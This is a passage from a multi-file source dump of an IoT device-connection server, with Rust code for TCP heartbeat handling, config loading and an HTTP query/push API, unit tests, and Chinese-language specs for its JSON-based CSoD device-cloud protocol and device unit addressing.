listener.incoming(); // ็›‘ๅฌ็ซฏๅฃ๏ผŒๆˆ–่ฎธ็ฌฌไบŒ็งloopๆ–นๆณ•ๆ›ดๅฎน้”™? //while let Some(stream) = incoming.next().await { loop { match incoming.next().await { Some(Ok(stream)) => { info!("coming a connection"); let redis_cfg_move = redis_cfg.clone(); tokio::spawn(async move { handler(stream, hb_interval, redis_cfg_move).await; }); } e => error!("{:?}", e), } } }); Ok(()) } /// ๅฏๅŠจ่ฎพๅค‡่ฟžๆŽฅๆœๅŠก pub fn start(perceptioncfg: PerceptCfg, rediscfg: RedisCfg) -> Result<(), ()> { info!("{:?}", perceptioncfg); println!("Device Connection Start with config {:?}", perceptioncfg); let ip = perceptioncfg.ip.clone().unwrap(); let port = perceptioncfg.port.clone().unwrap(); // ๅฆ‚ๆžœๆฒกๆœ‰้…็ฝฎๅฟƒ่ทณ๏ผŒ้ป˜่ฎค120s let heartbeat_interval = perceptioncfg.heartbeat_interval.unwrap_or(120); match coroutines_start(ip, port, heartbeat_interval, rediscfg) { Ok(()) => { info!("start perception service success"); Ok(()) } Err(_) => { panic!("start perception service failed") } } }``` Config.py ```# -*- coding: utf-8 -*- REDIS_ADDR = '127.0.0.1' REDIS_PORT = 6379 PING_PERIOD = 60 WEB_ADDR = '0.0.0.0' WEB_PORT = 10000 ``` device.rs ```use std::time::{ Duration, SystemTime, SystemTimeError, }; #[allow(unused_imports)] use log::{ error, info, }; #[allow(unused_imports)] use tokio::{ net::TcpStream }; pub struct Device { pub sn: String, pub stream: Option<TcpStream>, born_time: SystemTime, alive: bool, last_heartbeat_time: SystemTime, heartbeat_period: Duration, } #[allow(dead_code)] impl Device { pub fn new(sn: String) -> Device { let device = Device { sn, stream: None, born_time: SystemTime::now(), alive: true, last_heartbeat_time: SystemTime::now(), heartbeat_period: Duration::from_secs(90), }; device } pub fn set_heartbeat_period(&mut self, period: Duration) { info!("set device({}) heartbeat period to {:?}", self.sn, period); self.heartbeat_period = period; } // ๆ›ดๆ–ฐๆœ€ๅŽๅฟƒ่ทณๆ—ถ้—ด pub fn update_last_heartbeat_time(&mut self, time: SystemTime) { self.last_heartbeat_time = time; } // ็”จๅฝ“ๅ‰nowๆ—ถ้—ดๆ›ดๆ–ฐๆœ€ๅŽๅฟƒ่ทณๆ—ถ้—ด pub fn update_last_heartbeat_time_now(&mut self) { self.update_last_heartbeat_time(SystemTime::now()); } // the up-to-date at calling, then update the device state. // So, You might get a different value for each call pub fn is_alive_update(&mut self) -> bool { self.alive = if let Ok(elapsed) = self.last_heartbeat_time.elapsed() { elapsed < self.heartbeat_period } else { self.alive }; self.alive } pub fn is_alive_const(&self) -> bool { self.alive } pub fn online_time(&self) -> Result<Duration, SystemTimeError> { self.born_time.elapsed() } } #[cfg(test)] mod device_test { use std::thread; use tokio::time::Duration; use crate::perception_service::device::Device; #[test] fn test_is_alive_update() { let mut device = Device::new("D81234545".to_string()); device.set_heartbeat_period(Duration::from_secs(3)); thread::sleep(Duration::from_secs(2)); assert_eq!(true, device.is_alive_update()); thread::sleep(Duration::from_secs(2)); assert_eq!(false, device.is_alive_update()); } #[test] fn test_online_time() { let device = Device::new("D81234545".to_string()); thread::sleep(Duration::from_secs(2)); assert_eq!(true, device.online_time().unwrap() < Duration::from_millis(2050) && device.online_time().unwrap() > Duration::from_millis(1950)); } }``` MsgField.py ```HEARTBEAT = { 'type': "ping", 'sn': None } ``` config.rs ```//! //! # ๅŠ ่ฝฝ้…็ฝฎ้กน //! //! Example //! ``` //! use common::config; //! //! fn main() -> Result<(), ()>{ //! // ๅŠ ่ฝฝcfg.tomlๅ†…ๆ‰€ๆœ‰้…็ฝฎ //! let config: config::Config = config::load_config("cfg.toml", true); //! println!("{:?}", config.log); // ๆ‰“ๅฐlog้…็ฝฎ //! println!("{:?}", config.perception_service); // ๆ‰“ๅฐๆ„Ÿ็Ÿฅๅฑ‚้…็ฝฎ //! println!("{:?}", config.application_service); // ๆ‰“ๅฐๅบ”็”จๅฑ‚้…็ฝฎ //! Ok(()) //! } //! ``` //! use std::env; use std::fs::File; use std::io::Read; use loge; use serde_derive::Deserialize; use toml; #[derive(Deserialize)] #[derive(Debug)] #[derive(Clone)] pub struct LogConfig { pub level: Option<String>, pub outfile: Option<String>, pub format: Option<String>, } #[derive(Deserialize)] #[derive(Debug)] #[derive(Clone)] pub struct PerceptionServiceConfig { pub ip: Option<String>, pub port: Option<String>, pub heartbeat_interval: Option<u64>, } #[derive(Deserialize)] #[derive(Debug)] #[derive(Clone)] pub struct RedisConfig { pub ip: Option<String>, pub port: Option<String>, } #[derive(Deserialize)] #[derive(Debug)] #[derive(Clone)] pub struct Config { pub log: LogConfig, pub perception_service: PerceptionServiceConfig, pub redis: RedisConfig, } /// Init to the logger #[allow(dead_code)] pub fn log_init(log_cfg: LogConfig) { let level: Option<String> = log_cfg.level; let outfile: Option<String> = log_cfg.outfile; let format: Option<String> = log_cfg.format; match &level { Some(le) if le == &"none".to_string() => { return; } _ => { if let Some(le) = level { env::set_var("RUST_LOG", le); } else { env::set_var("RUST_LOG", "trace"); } if let Some(fmt) = format { env::set_var("LOGE_FORMAT", fmt); } else { env::set_var("LOGE_FORMAT", "fileline"); } if let Some(f) = outfile { loge::init_with_file(f); } } } } #[allow(dead_code)] pub fn load_config(toml_path: &str, verbose: bool) -> Config { let mut file = File::open(toml_path).unwrap(); let mut file_content = String::new(); if let Err(_) = file.read_to_string(&mut file_content) { panic!("read config error") } let config: Config = match toml::from_str(&file_content) { Ok(c) => c, _ => { panic!("parse config toml error"); } }; if verbose { println!("============== loading config ============="); println!("[log]: \n\tlevel = {:?}\n\toutfile = {:?}\n\tformat = {:?}", if let Some(e) = &config.log.level { e.clone() } else { "Null".to_string() }, if let Some(e) = &config.log.outfile { e.clone() } else { "Null".to_string() }, if let Some(e) = &config.log.format { e.clone() } else { "Null".to_string() }); println!("[perception connection]: \n\tip = {:?}\n\tport = {:?}\n\theartbeat_interval = {:?}", if let Some(e) = &config.perception_service.ip { e.clone() } else { "Null".to_string() }, if let Some(e) = &config.perception_service.port { e.clone() } else { "Null".to_string() }, if let Some(e) = &config.perception_service.heartbeat_interval { format!("{}", &e) } else { "Null".to_string() }); println!("[redis]: \n\tip = {:?}\n\tport = {:?}", if let Some(e) = &config.redis.ip { e.clone() } else { "Null".to_string() }, if let Some(e) = &config.redis.port { e.clone() } else { "Null".to_string() }); println!("==========================================="); } config }``` README.md ```### TODO - [ ] redis็š„get้‡‡็”จๅผ‚ๆญฅ้˜ปๅกžๅผ๏ผŒ่ฟ™ๆ ทๅฏไปฅไธๅฟ…่ฝฎ่ฏข๏ผŒredis 5.0ไปฅๅŽๅฅฝๅƒๆœ‰xreadๅฏไปฅๅฏนๆญคๆไพ›ๆ”ฏๆŒ ``` main.rs ```use actix_web::{ App, Error, error, get, HttpResponse, //HttpRequest, HttpServer, post, //Responder, web, web::BytesMut}; use futures::StreamExt; #[allow(unused_imports)] use log::{error, info, warn}; use serde_json::json; use crate::common::config; use crate::middleware::{ json_warpper as jw, query_redis as qr, }; #[get("/query/service_version")] async fn query_service_version() -> Result<HttpResponse, Error> { let resp = json!({ "namespace": "/query/http_service_version", "value": "v1.2.0-20201109a", }); Ok(HttpResponse::Ok().body(resp)) } #[get("/query/devices_num")] async fn query_devices_num() -> Result<HttpResponse, Error> { let rv = qr::get_devices_num().await; let resp = if let Ok(e) = rv { json!({ "namespace": "/query/devices_num".to_string(), "status": "200", "value": format!("{}", e.unwrap_or("none".to_string())) }) } else { json!({ "namespace": "/query/devices_num".to_string(), "status": "404", "error": "no value" }) }; Ok(HttpResponse::Ok().body(resp)) } #[get("/query/devices_alive_num")] async fn query_devices_alive_num() -> Result<HttpResponse, Error> { let rv = qr::get_alive_devices_num().await; let resp = if let Ok(e) = rv { json!({ "namespace": "/query/device_alive_num".to_string(), "status": "200", "value": format!("{}", e.unwrap_or("none".to_string())) }) } else { json!({ "namespace": "/query/device_alive_num".to_string(), "status": "404", "error": "no value" }) }; Ok(HttpResponse::Ok().body(resp)) } #[get("/query/device_is_alive/{sn}")] async fn query_device_is_alive( info: web::Path<String>, ) -> Result<HttpResponse, Error> { let sn = info.to_string(); let resp = if qr::sn_is_alive(&sn).await { json!({ "namespace": "/query/device_is_alive".to_string(), "status": "200", "sn": sn, "value": "online" }) } else { json!({ "namespace": "/query/device_is_alive".to_string(), "status": "200", "sn": sn, "value": "offline" }) }; Ok(HttpResponse::Ok().body(resp)) } const MAX_SIZE: usize = 262_144; #[post("/push/push_msg")] async fn push_get( mut payload: web::Payload, ) -> Result<HttpResponse, Error> { // payload is a stream of Bytes objects let mut body = BytesMut::new(); while let Some(chunk) = payload.next().await { let chunk = chunk?; // limit max size of in-memory payload if (body.len() + chunk.len()) > MAX_SIZE { return Err(error::ErrorBadRequest(json!({ "namespace": "/push/push_msg", "status": "404", "error": "overflow" }))); } body.extend_from_slice(&chunk); } match String::from_utf8(body.to_vec()) { Ok(body_string) => { let sn = if let Some(sn) = jw::parse_sn(&body_string) { sn } else { warn!("invaild request, have no sn field"); return Err(error::ErrorBadRequest(json!({ "namespace": "/push/push_msg", "status": "404", "error": "have no sn field" }))); }; info!("push get device({})", sn); if qr::sn_is_alive(&sn).await == false { return Err(error::ErrorBadRequest(json!({ "namespace": "/push/push_msg", "status": "404", "error": "device offline" }))); } match qr::transparent_transmit_wit_ack(&sn, &body_string).await { Ok(Some(resp)) => { let resp = json!({ "namespace": "/push/push_msg", "status": "200", "value": resp }); return Ok(HttpResponse::Ok().body(resp)); } Ok(None) => { return Err(error::ErrorBadRequest(json!({ "namespace": "/push/push_msg", "status": "404", "error": "no response" }))); } Err(e) => { return Err(error::ErrorBadRequest(json!({ "namespace": "/push/push_msg", "status": "408", "error": format!("send message fail {}", e) }))); } } } _ => { return Err(error::ErrorBadRequest(json!({ "namespace": "/push/push_msg", "error": "invalid data" }))); } } } #[actix_web::main] pub async fn launch(httpconf: config::HttpServiceConfig, _redisconf: config::RedisConfig) -> std::io::Result<()> { HttpServer::new(move || { //let s = RedisSession::new("127.0.0.1:6379", &[0; 32]); App::new() //.data(redis_conn) //.wrap(RedisSession::new("127.0.0.1:6379", &[0; 32])) .service(query_service_version) .service(query_devices_num) .service(query_devices_alive_num) .service(query_device_is_alive) .service(push_get) }) .bind(format!("{}:{}", httpconf.ip.unwrap_or("0.0.0.0".to_string()), httpconf.port.unwrap_or("8000".to_string())))? .run() .await }``` ่ฎพๅค‡ๆŠฝ่ฑกๆจกๅž‹.md ```# ่ฎพๅค‡ๆŠฝ่ฑกๆจกๅž‹ | Version | Date | Editor | Note | | :-----| ----: | :----: |:----: | | v0.0.5 | 2020-05-28 | zhangte | ๅฎšไน‰่ฎพๅค‡ๆŠฝ่ฑกๆจกๅž‹ๅˆ็‰ˆ| ## TODO List: - [x] SN็”Ÿๆˆ่ง„ๅˆ™ๅฎšไน‰(ๅŒ…ๅซๅž‹ๅทๅ’ŒUUID)๏ผŒ13ไฝ - [ ] SKUID็”Ÿๆˆ่ง„ๅˆ™ๅฎšไน‰ ## ่ฎพๅค‡็ซฏๆ ‡่ฏ† #### ็ป„ๆˆ 1. SN(Serial Number),่ฎพๅค‡ๅ”ฏไธ€็š„้šๆœบๅบๅˆ—ๅท๏ผŒ็”ฑๆœๅŠก็ซฏๆ นๆฎไธ€ๅฎš่ง„ๅˆ™็”Ÿๆˆ๏ผŒSNๅฐ†ไฝœไธบCSoDๅ่ฎฎไธญ่ฎพๅค‡ๅ”ฏไธ€ๆ ‡่ฏ†ไฝฟ็”จ 2. SKU(Stock Keeping Unit), ่ฎพๅค‡ๅ”ฏไธ€็š„ๆœ€ๅฐๅบ“ๅญ˜ๅ•ๅ…ƒๅท๏ผŒไธŽSNไธ€ไธ€ๅฏนๅบ”๏ผŒไฝ†ๆ˜ฏๅ…ถ็›ด่ง‚ไฟ็•™็”Ÿไบงๆ—ฅๆœŸใ€ๆ‰นๆฌก็ญ‰ไฟกๆฏ๏ผŒ็”จไฝœๅบ“ๅญ˜็ฎก็† 3. MAC, ๆจกๅ—่‡ชๅธฆ 4. ๅž‹ๅท, ่กจๆ˜Ž่ฎพๅค‡ๅž‹ๅท ## ่ฎพๅค‡็ซฏ่ƒฝๅŠ›ๆŠฝ่ฑกไธŽๅฏปๅ€ ่€ƒ่™‘ๅˆฐไธๅŒๅž‹ๅท็š„่ฎพๅค‡็ซฏๅ…ทๆœ‰ไธๅŒๆจก็ป„็ป„ๆˆ็š„ไธๅŒ็ซฏ่ƒฝๅŠ›๏ผŒๅนถไธ”ๆœๅŠก็ซฏ้œ€่ฆๅฏนไธๅŒ็š„ๆจก็ป„ๅฎŒๆˆๅ‡†็กฎ็š„ๆŽงๅˆถ๏ผŒๆˆ‘ไปฌๆŒ‰็…ง **"็ซฏๅ•ๅ…ƒ"**๏ผˆunit๏ผ‰ๆฅๆ่ฟฐ่ฎพๅค‡่ƒฝๅŠ› 1. ๆฏไธชๆœ€ๅฐไธๅฏๅˆ†ๅŠŸ่ƒฝไฝœไธบไธ€ไธชๅ•ๅ…ƒ๏ผŒๅฆ‚ไธ€ไธชๅผ€ๅ…ณ๏ผŒไธ€ไธชๆธฉๅบฆๆจกๅ—๏ผŒไธ€ไธชๆนฟๅบฆๆจกๅ—๏ผŒไธ€ไธชๆ˜พ็คบๅฑ 2. ๆฏไธช็ซฏๅ•ๅ…ƒ้ƒฝๆœ‰ๅ”ฏไธ€็š„ๅœฐๅ€๏ผŒ็ซฏๅ•ๅ…ƒๅœฐๅ€ๅ…ฑ3ไฝ๏ผŒไปฅๅๅ…ญ่ฟ›ๅˆถๅญ—็ฌฆไธฒ่กจ็คบ๏ผŒๅ‰2ไฝ่กจ็คบๅ•ๅ…ƒ็ฑปๅž‹๏ผŒๅŽ1ไฝ่กจ็คบๅ•ๅ…ƒid, ๆฏไธชๅ•ๅ…ƒๅœฐๅ€ๅฏนๅบ”ไธ€ไธช็Šถๆ€`status` ็›ฎๅ‰ๅฎšไน‰็ซฏๅ•ๅ…ƒๅŠๅ…ถ`status`ๅฆ‚ไธ‹: ``` ๅผ€ๅ…ณ: "01${id}", ๅฏนๅบ”status: {1byte}, ๅ…ณ: 00, ๅผ€: 01 ๆธฉๅบฆ: "02${id}", ๅฏนๅบ”status: {1byte}{1bytes}{1bytes} ็ฌฌ1ไฝ็ฌฆๅท๏ผŒไธญ้—ด1ไฝๆ•ดๆ•ฐ้ƒจๅˆ†๏ผŒๅŽ1ไฝๅฐๆ•ฐ้ƒจๅˆ† ๆนฟๅบฆ: "03${id}", ๅฏนๅบ”status: {1byte}{1bytes}{1bytes} ็ฌฌ1ไฝ็ฌฆๅท๏ผŒไธญ้—ด1ไฝๆ•ดๆ•ฐ้ƒจๅˆ†๏ผŒๅŽ1ไฝๅฐๆ•ฐไฟ็•™2ไฝ้ƒจๅˆ†(ๆœ€ๅคง0x63) ๅผ€ๅ…ณๅฎšๆ—ถๅ™จ:"04${id}", ๅฏนๅบ”status: {"date":"y-m-d:h-m-s", "target":"${ๅผ€ๅ…ณ็Šถๆ€}"} ๅปถๆ—ถๅผ€ๅ…ณ: "05${id}", ๅฏนๅบ”status: {"delay":${time}, "target": "${ๅผ€ๅ…ณ็Šถๆ€}"},ๅปถๆ—ถๅ•ไฝไธบ็ง’ ``` ไพ‹ๅฆ‚็ป“ๅˆCSoDๅ่ฎฎeventๆถˆๆฏ๏ผš ```json ่ฎพๅค‡ไธŠๆŠฅ็Šถๆ€๏ผŒๅœจ`sn`ไธบ`123543876`็š„่ฎพๅค‡ไธŠ๏ผŒ`0`ๅทๅผ€ๅ…ณ็Šถๆ€ไธบ`ๅผ€`๏ผŒ`2`ๅทๆธฉๅบฆ่ฎกๆธฉๅบฆไธบ`+10.10โ„ƒ` { "v":"0", "type": "event", "sn": "123543876", "010": "01", "022": "000a0a", } ``` ```json APP่ฎพ็ฝฎๅฎšๆ—ถๅผ€ๅ…ณ๏ผŒๅœจ`sn`ไธบ`123543876`็š„่ฎพๅค‡ไธŠ๏ผŒๅฎšๆ—ถๅœจ2020-11-12:12-30-00, `0`ๅทๅผ€ๅ…ณ็Šถๆ€ไธบ`ๅผ€` { "v":"0", "type": "set", "sn": "123543876", "040": { "date": "2020-11-12:12-30-00", "target": "01" }, } ่ฎพ็ฝฎๆˆๅŠŸๅ›žๅค { "v":"0", "type": "setack", "sn": "123543876", } ``` ```json APPๅปถๆ—ถๅผ€ๅ…ณ๏ผŒๅœจ`sn`ไธบ`123543876`็š„่ฎพๅค‡ไธŠ๏ผŒ100sๅŽ, ่ฎพ็ฝฎ`0`ๅทๅผ€ๅ…ณ็Šถๆ€ไธบ`ๅผ€` { "v":"0", "type": "set", "sn": "123543876", "050": { "delay": "100", "target": "01" }, } ่ฎพ็ฝฎๆˆๅŠŸๅ›žๅค { "v":"0", "type": "setack", "sn": "123543876", } ``` ``` json_wrapper.rs ```#![allow(dead_code)] //use log::{error, info, warn}; use serde_json; use serde_json::Value; #[derive(Debug, PartialEq)] pub enum MESTYPE { HEARTBEAT, ACK, RAWDATA, // ็›ฎๅ‰ๅชๅŒ…ๆ‹ฌeventๆถˆๆฏ INVALID, } /// If the msg is a heartbeat ping type, return the sn /// /// # Examples /// ``` /// let ok_str = r#"{"type": "ping","sn": "123"}"#; /// assert_eq!(carte::is_heartbeat(&ok_str.to_string()), Some("123".to_string())); /// let err_str = r#"{"type": "ping","what": "error"}"#; /// assert_ne!(carte::is_heartbeat(&err_str.to_string()), Some("123".to_string())); /// ``` pub fn is_heartbeat(msg: &String) -> Option<String> { let sn: Option<String> = if let Ok(data) = serde_json::from_str(msg) { match data { Value::Object(t) => { let msg_type: Option<String> = if t.contains_key("type") { match t.get("type") { Some(Value::String(v)) => Some(v.to_string()), _ => None, } } else { None }; match msg_type { Some(s) if s == "ping" => { if t.contains_key("sn") { match t.get("sn") { Some(Value::String(v)) => Some(v.to_string()), _ => None, } } else { None } } _ => None, } } _ => None, } } else { None }; sn } #[test] fn is_heartbeat_test() { let ok_str = r#"{"type": "ping","sn": "123"}"#; assert_eq!(is_heartbeat(&ok_str.to_string()), Some("123".to_string())); let err_str = r#"{"type": "ping","what": "error"}"#; assert_ne!(is_heartbeat(&err_str.to_string()), Some("123".to_string())); } pub fn parse_sn(msg: &String) -> Option<String> { let sn: Option<String> = if let Ok(data) = serde_json::from_str(msg) { match data { Value::Object(t) => { if t.contains_key("sn") { match t.get("sn") { Some(Value::String(v)) => Some(v.to_string()), _ => None, } } else { None } } _ => None, } } else { None }; sn } #[test] fn parse_sn_test() { let ok_ping = r#"{"type": "ping","sn": "123"}"#; assert_eq!(parse_sn(&ok_ping.to_string()), Some("123".to_string())); let ok_rawdata = r#"{"type": "rawdata","sn": "145623"}"#; assert_eq!( parse_sn(&ok_rawdata.to_string()), Some("145623".to_string()) ); let err0_sn = r#"{"type": "rawdata","snfuck": "145623"}"#; assert_eq!(parse_sn(&err0_sn.to_string()), None); let err1_sn = r#"{"what": "error"}"#; assert_eq!(parse_sn(&err1_sn.to_string()), None); let err2_sn = r#"{"what": "err"#; assert_eq!(parse_sn(&err2_sn.to_string()), None); } /// /// When the msg is a valid json and include the `type` field, /// but not the heartbeat type, it is a raw data. /// ๅช่ฆๅŒ…ๅซtypeไธŽsn๏ผŒๅฐฑๆ˜ฏrawdata๏ผŒacktypeไธŽheartbeat็ฑปๅž‹ๆ˜ฏrawdata็š„ๅญ้›† pub fn is_rawdata(msg: &String) -> bool { if let Ok(data) = serde_json::from_str(msg) { match data { Value::Object(t) => { if t.contains_key("type") && t.contains_key("sn") { true } else { false } } _ => false, } } else { false } } /// ๅˆคๆ–ญๆ˜ฏไธๆ˜ฏack๏ผš get ack, set ack pub fn is_ack(msg: &str) -> Option<String> { let sn: Option<String> = if let Ok(data) = serde_json::from_str(msg) { match data { Value::Object(t) => { let msg_type: Option<String> = if t.contains_key("type") { match t.get("type") { Some(Value::String(v)) => Some(v.to_string()), _ => None, } } else { None }; match msg_type { Some(s) if s == "setack" || s == "getack" => { if t.contains_key("sn") { match t.get("sn") { Some(Value::String(v)) => Some(v.to_string()), _ => None, } } else { None } } _ => None, } } _ => None, } } else { None }; sn } pub fn parse_msg_type(msg: &String) -> MESTYPE { if let Some(_) = is_heartbeat(msg) { return MESTYPE::HEARTBEAT; } if let Some(_) = is_ack(msg) { return MESTYPE::ACK; } if is_rawdata(msg) { return MESTYPE::RAWDATA; } MESTYPE::INVALID } #[test] fn parse_msg_type_test() { let ok_ping = r#"{"type": "ping","sn": "123"}"#; assert_eq!(parse_msg_type(&ok_ping.to_string()), MESTYPE::HEARTBEAT); let ok_rawdata = r#"{"type": "rawdata","sn": "123"}"#; assert_eq!(parse_msg_type(&ok_rawdata.to_string()), MESTYPE::RAWDATA); let err1_rawdata = r#"{"what": "error"}"#; assert_eq!(parse_msg_type(&err1_rawdata.to_string()), MESTYPE::INVALID); let err2_rawdata = r#"{"what": "err"#; assert_eq!(parse_msg_type(&err2_rawdata.to_string()), MESTYPE::INVALID); } ``` CSoD.md ```# CSoD(C/S of Device)ๅ่ฎฎๅฎšไน‰็ซฏ-ไบ‘ไบคไบ’่ฟ‡็จ‹ | Version | Date | Editor | Note | | :-----| ----: | :----: |:----: | | v0.0.5 | 2020-05-28 | zhangte | ๅฎšไน‰CSoDๅ่ฎฎๅˆ็‰ˆ| ### TODO List: - [ ] ็Šถๆ€้”™่ฏฏ็ ๅฎšไน‰ - [ ] ๅฟƒ่ทณperiodๅฎžๆต‹ๅฎšไน‰ - [x] ๅฑ‚็บงๅฎšไน‰ ## 1. ็ป„ๆˆ **IP:** 39.105.63.97 **Port:** 8900 #### 1. ไผ ่พ“ๅฑ‚ ไผ ่พ“ๅฑ‚ๅŸบไบŽๅŽŸ็”ŸSocket/TCP, ๆ‰ฟ่ฝฝๅฎ‰ๅ…จๅฑ‚ๆ•ฐๆฎใ€‚ไผ ่พ“ๅฑ‚ๆ•ฐๆฎไปฅ`\n`ไฝœไธบๅธงๅˆ†้š”็ฌฆ๏ผŒๅณไผ ่พ“ๆฏไธ€ๅธง้ƒฝ้œ€่ฆไปฅ `\n`(0xa)ไฝœไธบ็ป“ๆŸ็ฌฆ๏ผŒๆœๅŠก็ซฏไปฅ่ฏฅ็ป“ๆŸ็ฌฆ็•ŒๅฎšๆŽฅๆ”ถ็ป“ๆŸใ€‚ ๅœจ่ฎพๅค‡ไธŠ็”ตๅŽ๏ผŒ้ฆ–ๅ…ˆ้œ€่ฆไธŽๆœๅŠก็ซฏๅปบ็ซ‹ๅฏ้ ไผ ่พ“ๅฑ‚่ฟžๆŽฅ๏ผŒ่ฏฅ่ฟžๆŽฅ้œ€่ฆไธ€็›ดๅค„ไบŽไฟๆŒ็Šถๆ€ใ€‚ๅฝ“ๅฎขๆˆท็ซฏๆฃ€ๆต‹ๅˆฐไผ ่พ“ๅฑ‚ไธญๆ–ญๅŽ๏ผŒ้œ€่ฆ้‡ๆ–ฐๅปบ็ซ‹่ฟžๆŽฅใ€‚ ไผ ่พ“ๅฑ‚ๅฎšไน‰ไปฅไธ‹ๅปบ็ซ‹่ฟžๆŽฅ่ฟ‡็จ‹ไธŽไฟๆŒ่ฟžๆŽฅ ###### 1. ่ฟžๆŽฅๅปบ็ซ‹ไธŽไฟๆŒ 1. ๅฎขๆˆท็ซฏๅ‘ๆœๅŠกๅ™จ็ซฏๅ‘่ตทๅปบ็ซ‹TCP่ฟžๆŽฅ๏ผš 2. ๅฎขๆˆท็ซฏๅ‘ๆœๅŠก็ซฏๅ‘้€ๅฟƒ่ทณPingๅŒ…JSONๆ•ฐๆฎ๏ผŒ่กจๆ˜Ž่บซไปฝๅนถๅ‘Š็ŸฅๆœๅŠก็ซฏ่ฎพๅค‡ๅทฒไธŠ็บฟ ```JSON Device -> Server { "v":"0", "type": "ping", "sn": "${sn}", } ``` 3. ๆœๅŠก็ซฏๆ”ถๅˆฐๅฟƒ่ทณๆ•ฐๆฎๅŽ,้œ€ๆ ก้ชŒSNๆ˜ฏๅฆๆญฃ็กฎ๏ผŒๅนถๅŠๆ—ถๅ“ๅบ”ไปฅไธ‹ๆ•ฐๆฎ๏ผŒไปฅ่กจ็คบ้“พ่ทฏ็•…้€š ```JSON Server -> Device { "v":"0", "type": "pong", } ``` 4. ๅŽ็ปญๅฎขๆˆท็ซฏไปฅๆฏ2minไธ€ๆฌก็š„้ข‘็އๅ‘ๆœๅŠก็ซฏๅ‘้€ๅฟƒ่ทณไฟๆŒ่ฟžๆŽฅ๏ผŒๆœๅŠก็ซฏ่ถ…่ฟ‡2minๆฒกๆœ‰ๆ”ถๅˆฐๅฎขๆˆท็ซฏ็š„ๅฟƒ่ทณๆ•ฐๆฎ๏ผŒๆœๅŠก็ซฏไผš็ซฏๆމ่ฟžๆŽฅ๏ผŒๅฎขๆˆท็ซฏๅ‘้€ๅฟƒ่ทณๅคฑ่ดฅ้œ€้‡ๆ–ฐๅปบ็ซ‹่ฟžๆŽฅ #### 2. ๅฎ‰ๅ…จๅฑ‚ ๅฎ‰ๅ…จๅฑ‚ๅฏนๅ่ฎฎๅฑ‚ๅŽŸ็”Ÿๆ•ฐๆฎ่ฟ›่กŒๅฏน็งฐๅŠ ๅฏ†,ๅฏ†้’ฅ็”ฑๆกๆ‰‹้˜ถๆฎต้€š่ฟ‡้žๅฏน็งฐๅŠ ๅฏ†ๅๅ•†ไบคๆข๏ผŒๅพ—ๅˆฐ่พ“ๅ‡บๆต็”ฑไผ ่พ“ๅฑ‚่ฟ›่กŒไผ ่พ“ใ€‚ๆš‚ไธๅผ•ๅ…ฅๅŠ ๅฏ†ๅฎ‰ๅ…จ็ญ–็•ฅ๏ผŒๅ› ๆญค่ฏฅๅฑ‚็›ฎๅ‰ไธๅฏนๅ่ฎฎๅฑ‚ๆ•ฐๆฎ่ฟ›่กŒไปปไฝ•ๅค„็†ใ€‚ #### 3. ๅ่ฎฎๅฑ‚ ๅ่ฎฎๅฑ‚ๅฎšไน‰ๆ•ฐๆฎไผ ่พ“ๆ ผๅผ๏ผŒๆ•ฐๆฎไปฅJSONๆ ผๅผ่กจ่พพใ€‚ๅ่ฎฎๅฑ‚ๆถˆๆฏๅŒ…ๅซๅ่ฎฎ็‰ˆๆœฌใ€ๆถˆๆฏ็ฑปๅž‹ใ€snใ€ไธŽๆถˆๆฏๅ†…ๅฎนใ€‚ๅ…ถไธญๆถˆๆฏ็ฑปๅž‹ๅŒ…ๅซ`"get"`,`"set"`ไธŽ`"event"`,ๅˆ†ๅˆซ่กจ็คบๆœๅŠก็ซฏ*่Žทๅ–*ใ€*่ฎพ็ฝฎ*ไธŽ่ฎพๅค‡็ซฏ*ไธŠๆŠฅ***็ซฏๅ•ๅ…ƒ**็Šถๆ€(`status`)ใ€‚ ้“พๆŽฅ๏ผš [็ซฏๅ•ๅ…ƒๅŠๅ…ถๅฏปๅ€](https://github.com/yulincoder/Controller-Dvice/blob/master/%E8%AE%BE%E5%A4%87%E6%8A%BD%E8%B1%A1%E6%A8%A1%E5%9E%8B.md) ๅ…ทไฝ“ๅ่ฎฎๆ ผๅผๅฆ‚ไธ‹: 1. ๆœๅŠก็ซฏ่Žทๅ–็ซฏๅ•ๅ…ƒ็Šถๆ€, `${unitid}`่กจ็คบไธ€ไธช็ซฏๅ•ๅ…ƒๅœฐๅ€,`v`ๆ ‡่ฏ†CSoDๅ่ฎฎ็‰ˆๆœฌๅท ```json Server -> Device get status mssage: { "v":"0", "type": "get", "sn": "${sn}", "${unitid}": "", "${unitid}": "", ... } ``` ๅฎขๆˆท็ซฏๅ“ๅบ”็ซฏๅ•ๅ…ƒ็Šถๆ€ ```json Device -> Server get status mssage: { "v":"0", "type": "getack", "sn": "${sn}", "${unitid}": "${status}", "${unitid}": "${status}", ... } ``` ๅฏไปฅ็œ‹ๅˆฐ๏ผŒๆœๅŠก็ซฏgetๆถˆๆฏไธญ๏ผŒ็ซฏๅ•ๅ…ƒๅœฐๅ€keyๅฏนๅบ”็š„valueๆ˜ฏๆ— ๆ•ˆ็š„็ฉบๅญ—็ฌฆไธฒ๏ผŒ่€Œๅฎขๆˆท็ซฏๅ“ๅบ”ๆถˆๆฏไธญ็ซฏๅ•ๅ…ƒๅœฐๅ€ๅฏนๅบ”็š„valueๆ˜ฏๆœ‰ๆ•ˆ็š„ 2. ๆœๅŠก็ซฏ่ฎพ็ฝฎ็ซฏๅ•ๅ…ƒ็Šถๆ€, `${unitid}`่กจ็คบไธ€ไธช็ซฏๅ•ๅ…ƒๅœฐๅ€ ```json Server -> Device get status mssage: { "v":"0", "type": "set", "sn": "${sn}", "${unitid}": "${status}", "${unitid}": "${status}", ... } ``` ๅฎขๆˆท็ซฏๅ“ๅบ”็ซฏๅ•ๅ…ƒ็Šถๆ€ ```json Device -> Server get status mssage: { "v":"0", "type": "setack", "sn": "${sn}", "${unitid}": "${status}", "${unitid}": "${status}", ... } ``` 3. ่ฎพๅค‡็ซฏไธปๅŠจไธŠๆŠฅ็ซฏๅ•ๅ…ƒ็Šถๆ€ ```json Device -> Server get status mssage: { "v":"0", "type": "event", "sn": "${sn}", "${unitid}": "${status}", "${unitid}": "${status}", ... } ``` ``` connection.rs ```#![allow(dead_code)] use log::{error, info, warn}; use serde_json; use serde_json::Value; use std::net::{TcpListener, TcpStream}; use std::sync::{Arc, RwLock}; use std::thread; use std::time::Duration; use crate::device; use crate::messagequeue; #[derive(Debug, PartialEq)] pub enum MESTYPE { HEARTBEAT, RAWDATA, INVAILD, } /// If the msg is a heartbeat ping type, return the sn /// /// # Examples /// ``` /// let ok_str = r#"{"type": "ping","sn": "123"}"#; /// assert_eq!(carte::is_heartbeat(&ok_str.to_string()), 